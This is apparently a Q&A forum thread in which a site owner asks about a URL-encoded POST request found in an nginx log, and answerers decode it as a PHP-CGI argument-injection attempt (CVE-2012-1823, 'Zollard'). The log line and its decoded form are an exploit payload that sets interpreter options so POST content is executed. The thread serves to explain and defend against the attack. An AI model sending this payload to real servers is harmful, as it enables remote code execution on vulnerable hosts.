I found some thing upnormal in my nginx server log. - - [06/Oct/2017:03:36:20 +0000] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 178 "-" "-"

Its looks someone try to hack my site. But what the meaning of this hex decimal like value

1 Answer 1


It is actually URL-Encoding and decodes to this:

cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n

Its some kind of PHP interpreter exploit I think. You can read about some more of this here: Protect against POST //cgi-bin/php attacks?

Btw: The actual code they are trying to inject is probably in the POST-Content. (Most likely not logged by your webserver)

  • Its there any way to logged the inject code
    – SuperKrish
    Oct 6, 2017 at 6:29
  • @Ben, yep auto_prepend_file=php://input -n there is the POST-Content.
    – jmingov
    Oct 6, 2017 at 6:34
  • In this PDF fron GIAC you have the exploit attemp: giac.org/paper/gsec/32921/introduction-linux-based-malware/…. Its old, its called “Zollard” exploit and has a CVE asigned: CVE-2012-1823
    – jmingov
    Oct 6, 2017 at 6:37
  • @jmingov Thx! Had never really seen this before.
    – Ben
    Oct 6, 2017 at 7:08

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